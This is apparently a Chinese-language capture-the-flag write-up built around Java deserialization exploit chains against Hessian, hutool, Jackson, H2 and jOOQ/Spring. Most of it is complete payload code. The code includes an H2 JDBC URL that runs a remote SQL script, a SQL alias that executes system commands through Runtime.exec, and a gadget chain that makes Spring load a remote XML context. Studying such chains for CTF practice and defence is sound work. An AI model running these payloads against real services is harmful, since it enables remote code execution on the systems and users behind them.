agent jdk17依赖有h2思路清晰打jdbc attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > com.alibaba</groupId > <artifactId > hessian-lite</artifactId > <version > 3.2.13</version > </dependency > <dependency > <groupId > cn.hutool</groupId > <artifactId > hutool-all</artifactId > <version > 5.8.16</version > </dependency > <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 2.2.224</version > </dependency >
项目Deserial_Sink_With_JDBC jdbc-attack fork了一个师傅的github 发现没有su18
H2 RCE Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote. jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ‘http://127.0.0.1:8000/poc.sql ‘ And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec(): CREATE ALIAS EXEC AS ‘String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return “su18”;}’;CALL EXEC (‘open -a Calculator.app’) 看到了h2 rce
1 2 3 4 String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ; Connection connection = DriverManager.getConnection(connectionUrl); connection.close();
安装h2数据库h2数据库 python -m http.server 8001
1 CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}' ;CALL EXEC ('calc' )
可以拿到calc 使用codeql查询sink 使用尝试 还有一个把cn.h2%修改为cn.hutool%,找到
1 2 3 4 5 6 7 8 String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;Setting setting = new Setting ();setting.setCharset(null ); setting.set("url" ,connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe();PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new SafeConcurrentHashMap <>());
这样就查找能触发到toString的类来触发jackson的getter去调用getConnection 由于是hessian反序列化会触发map的put方法, 我们寻找一条到pojonode#toString的链子, 但是Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了 发现codeql显示能调用到但是 有限制,我们查找不继承这些接口的toString能触发pojonode#toString的方法,而且必须是jdk原生类 不然这个就满足了MutableObj String#valueof和Object都满足 这样即可找到
确实可以触发 所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack 使用codeql查找
hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化 这时候生成了一个JSONObject变量,但是值为空 可以看到map将值put进去了两次反序列化 所以我们可以理解为,第一段Hessian2先创建一个JSONObject, 然后将两次反序列化的值作为key和value值 如何指定hessian2创建JSONObject呢 hessian2反序列化的序列化函数可以传入指定类型进去,并且设置this.buffer[this.offset++]
是77这样反序列化的时候就会获取_type值为77 但是writeType有条件限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void writeType (String type) throws IOException { this .flushIfFull(); int len = type.length(); if (len == 0 ) { throw new IllegalArgumentException ("empty type is not allowed" ); } else { if (this ._typeRefs == null ) { this ._typeRefs = new HashMap (); } Integer typeRefV = (Integer)this ._typeRefs.get(type); if (typeRefV != null ) { int typeRef = typeRefV; this .writeInt(typeRef); } else { this ._typeRefs.put(type, this ._typeRefs.size()); this .writeString(type); } } }
在HashMap里面push了一个type进去
这时候反序列化 调用了this.read()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public final int read () throws IOException { return this ._length <= this ._offset && !this .readBuffer() ? -1 : this ._buffer[this ._offset++] & 255 ; } private final boolean readBuffer () throws IOException { byte [] buffer = this ._buffer; int offset = this ._offset; int length = this ._length; if (offset < length) { System.arraycopy(buffer, offset, buffer, 0 , length - offset); offset = length - offset; } else { offset = 0 ; } int len = this ._is.read(buffer, offset, 256 - offset); if (len <= 0 ) { this ._length = offset; this ._offset = 0 ; return offset > 0 ; } else { this ._length = offset + len; this ._offset = 0 ; return true ; } }
读取缓冲区的值当this.readBuffer返回值为true的时候调用this._buffer[this._offset++] & 255;
所以_offset这时候就为1 因为上面的writeBeginMap将tag设置为了77 通过readType读取 由于_offset为1,所以值是25 将offset-1,这时候offset读取就从2变成了1 在进入读取 这时候tag值就为25,_offset值就为2 设置_sbuf的长度为0,设置_chunkLength长度为25,也就是cn.hutool.json.JSONObject的长度 所以后面就是从buf的25长度后面读25个字节,也就是把Type读出来cn.hutool.json.JSONObject 这时候我们知道如何指定type了,继续跟着往后面走
1 2 3 case 77 : type = this .readType(); return this .findSerializerFactory().readMap(this , type);
1 2 3 4 5 6 7 8 9 10 11 public Object readMap (AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException { Deserializer deserializer = this .getDeserializer(type); if (deserializer != null ) { return deserializer.readMap(in); } else if (this ._hashMapDeserializer != null ) { return this ._hashMapDeserializer.readMap(in, expectKeyType, expectValueType); } else { this ._hashMapDeserializer = new MapDeserializer (HashMap.class); return this ._hashMapDeserializer.readMap(in, expectKeyType, expectValueType); } }
进入了这边, this.getDeserializer(type)获取了类型的反序列化 也就是获取了 当类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public Object readMap (AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException { Object map; if (this ._type == null ) { map = new HashMap (); } else if (this ._type.equals(Map.class)) { map = new HashMap (); } else if (this ._type.equals(SortedMap.class)) { map = new TreeMap (); } else { try { map = (Map)this ._ctor.newInstance(); } catch (Exception var6) { throw new IOExceptionWrapper (var6); } } in.addRef(map); this .doReadMap(in, (Map)map, expectKeyType, expectValueType); in.readEnd(); return map }
这样就能newInstance了 在newInstance后调用了
1 this .doReadMap(in, (Map)map, expectKeyType, expectValueType);
in.isEnd()将buffer读取到了 也就是读完类名的值,也就是8,8也就是我们key的长度,再次反序列化,将offset的值就到 value反序列化开始的地方 获取到我们输入的key 再次反序列化获取我们的value,就是走正常反序列化了 JSONObject调用put 然后JSONObject调用set 到最后调用到这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public JSONObject set (String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException { if (null == key) { return this ; } else { if (null != filter) { MutablePair<String, Object> pair = new MutablePair (key, value); if (!filter.accept(pair)) { return this ; } key = (String)pair.getKey(); value = pair.getValue(); } boolean ignoreNullValue = this .config.isIgnoreNullValue(); if (ObjectUtil.isNull(value) && ignoreNullValue) { this .remove(key); } else { if (checkDuplicate && this .containsKey(key)) { throw new JSONException ("Duplicate key \"{}\"" , new Object []{key}); } super .put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this .config)); } return this ; } }
调用了Object的toString也就是, 调用他的get函数 返回值也就是POJONode String.ValueOf也就调用了value的toString 所以我们的思路就是
1 2 3 4 5 6 7 8 9 10 11 12 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever" ); POJONode pojoNode = new POJONode (bean); Object object = new AtomicReference <>(pojoNode);hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close();
这样就能触发pojonode 所以payload就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.aliyunctf.agent;import cn.hutool.core.map.SafeConcurrentHashMap;import cn.hutool.db.ds.pooled.PooledDSFactory;import cn.hutool.json.JSONObject;import cn.hutool.setting.Setting;import com.alibaba.com.caucho.hessian.io.Hessian2Input;import com.alibaba.com.caucho.hessian.io.Hessian2Output;import com.aliyunctf.agent.other.Bean;import com.fasterxml.jackson.databind.node.POJONode;import com.n1ght.serial.SerialTools;import com.n1ght.unsafe.UnSafeTools;import sun.misc.Unsafe;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.util.Base64;import java.util.concurrent.atomic.AtomicReference;public class Main { public static void main (String[] args) throws Exception { String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ; Setting setting = new Setting (); setting.setCharset(null ); setting.set("url" ,connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new SafeConcurrentHashMap <>()); Bean bean = new Bean (); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever" ); POJONode pojoNode = new POJONode (bean); Object object = new AtomicReference <>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input ((InputStream)byteArrayInputStream); hessian2Input.readObject(); } }
但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter BeanSerializerBase#serializeFields 在这边看到了BeanPropertyWriter#serializeAsField
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Object value = this ._accessorMethod == null ? this ._field.get(bean) : this ._accessorMethod.invoke(bean, (Object[])null ); if (value == null ) { if (this ._suppressableValue == null || !prov.includeFilterSuppressNulls(this ._suppressableValue)) { if (this ._nullSerializer != null ) { gen.writeFieldName(this ._name); this ._nullSerializer.serialize((Object)null , gen, prov); } } } else { JsonSerializer<Object> ser = this ._serializer; if (ser == null ) { Class<?> cls = value.getClass(); PropertySerializerMap m = this ._dynamicSerializers; ser = m.serializerFor(cls); if (ser == null ) { ser = this ._findAndAddDynamic(m, cls, prov); } } if (this ._suppressableValue != null ) { if (MARKER_FOR_EMPTY == this ._suppressableValue) { if (ser.isEmpty(prov, value)) { return ; } } else if (this ._suppressableValue.equals(value)) { return ; } } if (value != bean || !this ._handleSelfReference(bean, gen, prov, ser)) { gen.writeFieldName(this ._name); if (this ._typeSerializer == null ) { ser.serialize(value, gen, prov); } else { ser.serializeWithType(value, gen, prov, this ._typeSerializer); } } }
当获取值后,对value再次进行序列化
1 2 Object value = this ._accessorMethod == null ? this ._field.get(bean) : this ._accessorMethod.invoke(bean, (Object[])null );
也就是调用getObject后获取的值 然后对他获取的值再次进行序列化也就再次走到了这 也就是调用了PooledDSFactory的getConnection
我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢 问题就在 有debug问题,fastjson的序列化问题是 Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory 这样导致trace设置不了,debugCodeCall会进行判断,导致无法执行connect 所以我们使用
1 2 H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可 我重写的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 package com.aliyunctf.agent;import java.io.IOException;import java.io.ObjectInputStream;import java.io.PrintWriter;import java.io.Serializable;import java.lang.reflect.Field;import java.sql.Connection;import java.sql.SQLException;import java.util.Properties;import java.util.logging.Logger;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.DataSource;import javax.sql.PooledConnection;import javax.sql.XAConnection;import javax.sql.XADataSource;import org.h2.jdbc.JdbcConnection;import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;import org.h2.jdbcx.JdbcDataSourceFactory;import org.h2.jdbcx.JdbcXAConnection;import org.h2.message.DbException;import org.h2.message.Trace;import org.h2.message.TraceObject;import org.h2.message.TraceSystem;import org.h2.util.StringUtils;public final class H2DataSource extends TraceObject implements XADataSource , DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat { private static final long serialVersionUID = 1288136338451857771L ; private JdbcDataSourceFactory factory; private transient PrintWriter logWriter; private int loginTimeout; private String userName = "" ; private char [] passwordChars = new char [0 ]; private String url = "" ; private String description; private Trace trace; public Trace getTrace () { return trace; } public void setTrace (Trace trace) { this .trace = trace; } public H2DataSource () { this .initFactory(); int var1 = getNextId(12 ); this .setTrace(trace, 12 , var1); } private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { this .initFactory(); var1.defaultReadObject(); } private void initFactory () { this .factory = new JdbcDataSourceFactory (); } public int getLoginTimeout () { return this .loginTimeout; } public void setLoginTimeout (int var1) { this .loginTimeout = var1; } public PrintWriter getLogWriter () { return this .logWriter; } public void setLogWriter (PrintWriter var1) { this .debugCodeCall("setLogWriter(out)" ); this .logWriter = var1; } public Connection getConnection () throws SQLException { return new JdbcConnection (this .url, (Properties)null , this .userName, StringUtils.cloneCharArray(this .passwordChars), false ); } public Connection getConnection (String var1, String var2) throws SQLException { if (this .isDebugEnabled()) { this .debugCode("getConnection(" + quote(var1) + ", \"\")" ); } return new JdbcConnection (this .url, (Properties)null , var1, var2, false ); } public String getURL () { this .debugCodeCall("getURL" ); return this .url; } public void setURL (String var1) { this .url = var1; } public String getUrl () { this .debugCodeCall("getUrl" ); return this .url; } public void setUrl (String var1) { this .debugCodeCall("setUrl" , var1); this .url = var1; } public void setPassword (String var1) { this .debugCodeCall("setPassword" , "" ); this .passwordChars = var1 == null ? null : var1.toCharArray(); } public void setPasswordChars (char [] var1) { if (this .isDebugEnabled()) { this .debugCode("setPasswordChars(new char[0])" ); } this .passwordChars = var1; } private static String convertToString (char [] var0) { return var0 == null ? null : new String (var0); } public String getPassword () { this .debugCodeCall("getPassword" ); return convertToString(this .passwordChars); } public String getUser () { this .debugCodeCall("getUser" ); return this .userName; } public void setUser (String var1) { this .debugCodeCall("setUser" , var1); this .userName = var1; } public String getDescription () { this .debugCodeCall("getDescription" ); return this .description; } public void setDescription (String var1) { this .debugCodeCall("getDescription" , var1); this .description = var1; } public Reference getReference () { this .debugCodeCall("getReference" ); String var1 = JdbcDataSourceFactory.class.getName(); Reference var2 = new Reference (this .getClass().getName(), var1, (String)null ); var2.add(new StringRefAddr ("url" , this .url)); var2.add(new StringRefAddr ("user" , this .userName)); var2.add(new StringRefAddr ("password" , convertToString(this .passwordChars))); var2.add(new StringRefAddr ("loginTimeout" , Integer.toString(this .loginTimeout))); var2.add(new StringRefAddr ("description" , this .description)); return var2; } public XAConnection getXAConnection () throws SQLException { this .debugCodeCall("getXAConnection" ); return null ; } public XAConnection getXAConnection (String var1, String var2) throws SQLException { if (this .isDebugEnabled()) { this .debugCode("getXAConnection(" + quote(var1) + ", \"\")" ); } return null ; } public PooledConnection getPooledConnection () throws SQLException { this .debugCodeCall("getPooledConnection" ); return this .getXAConnection(); } public PooledConnection getPooledConnection (String var1, String var2) throws SQLException { if (this .isDebugEnabled()) { this .debugCode("getPooledConnection(" + quote(var1) + ", \"\")" ); } return this .getXAConnection(var1, var2); } public <T> T unwrap (Class<T> var1) throws SQLException { try { if (this .isWrapperFor(var1)) { return (T) this ; } else { throw DbException.getInvalidValueException("iface" , var1); } } catch (Exception var3) { throw this .logAndConvert(var3); } } public boolean isWrapperFor (Class<?> var1) throws SQLException { return var1 != null && var1.isAssignableFrom(this .getClass()); } public Logger getParentLogger () { return null ; } public String toString () { return this .getTraceObjectName() + ": url=" + this .url + " user=" + this .userName; } }
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ; Bean bean = new Bean (); Unsafe unsafe = UnSafeTools.getUnsafe(); H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class); jdbcDataSource.setURL(connectionUrl); jdbcDataSource.setLoginTimeout(5 ); Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(o))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever" ); POJONode pojoNode = new POJONode (bean); Object object = new AtomicReference <>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input ((InputStream)byteArrayInputStream); hessian2Input.readObject();
这样拿取shell就可达到第二条,像第二条发送payload去打通 第二条的trace一直没加载进去,很奇怪,原生类序列化能不能打进去呢
之前继承的SimpleDSFactory也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package com.aliyunctf.agent;import cn.hutool.core.map.SafeConcurrentHashMap;import cn.hutool.db.ds.c3p0.C3p0DSFactory;import cn.hutool.db.ds.druid.DruidDSFactory;import cn.hutool.db.ds.jndi.JndiDSFactory;import cn.hutool.db.ds.pooled.PooledDSFactory;import cn.hutool.db.ds.simple.SimpleDSFactory;import cn.hutool.db.ds.tomcat.TomcatDSFactory;import cn.hutool.json.JSONObject;import cn.hutool.setting.Setting;import com.alibaba.com.caucho.hessian.io.Hessian2Input;import com.alibaba.com.caucho.hessian.io.Hessian2Output;import com.aliyunctf.agent.other.Bean;import com.fasterxml.jackson.databind.node.POJONode;import com.n1ght.serial.SerialTools;import com.n1ght.source.SourceTools;import com.n1ght.unsafe.UnSafeTools;import org.h2.jdbcx.JdbcDataSource;import org.h2.jdbcx.JdbcDataSourceFactory;import org.h2.message.Trace;import org.h2.message.TraceObject;import org.h2.message.TraceSystem;import sun.misc.Unsafe;import javax.sql.DataSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.concurrent.atomic.AtomicReference;public class Main { public static void main (String[] args) throws Exception { String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ; Bean bean = new Bean (); Setting setting = new Setting (); setting.setCharset(null ); setting.set("url" ,connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new SafeConcurrentHashMap <>()); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever" ); POJONode pojoNode = new POJONode (bean); Object object = new AtomicReference <>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input ((InputStream)byteArrayInputStream); hessian2Input.readObject(); } }
只有开了–add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED 可以成功
server 使用查找,分了两步
即可 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.aliyunctf.server;import com.fasterxml.jackson.databind.node.POJONode;import com.n1ght.reflect.ReflectTools;import com.n1ght.serial.SerialTools;import com.n1ght.unsafe.UnSafeTools;import org.jooq.DataType;import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Vector;public class Main { public static void main (String[] args) throws Exception { String url = "http://127.0.0.1:1234/poc.xml" ; Class clazz1 = Class.forName("org.jooq.impl.Dual" ); Constructor constructor1 = clazz1.getDeclaredConstructors()[0 ]; constructor1.setAccessible(true ); Object table = constructor1.newInstance(); Class clazz2 = Class.forName("org.jooq.impl.TableDataType" ); Constructor constructor2 = clazz2.getDeclaredConstructors()[0 ]; constructor2.setAccessible(true ); Object tableDataType = constructor2.newInstance(table); Class clazz3 = Class.forName("org.jooq.impl.Val" ); Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean .class); constructor3.setAccessible(true ); Object val = constructor3.newInstance("whatever" , tableDataType, false ); Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal" ); Constructor constructor4 = clazz4.getDeclaredConstructors()[0 ]; constructor4.setAccessible(true ); Object convertedVal = constructor4.newInstance(val, tableDataType); Object value = url; Class type = ClassPathXmlApplicationContext.class; UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value" ),value); UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType" ),type); POJONode pojoNode = new POJONode (convertedVal); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits" ); vector.add(pojoNode); ReflectTools.setFieldValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); String s = SerialTools.base64Serial(eventListenerList); System.out.println(s); SerialTools.base64DeSerial(s); } }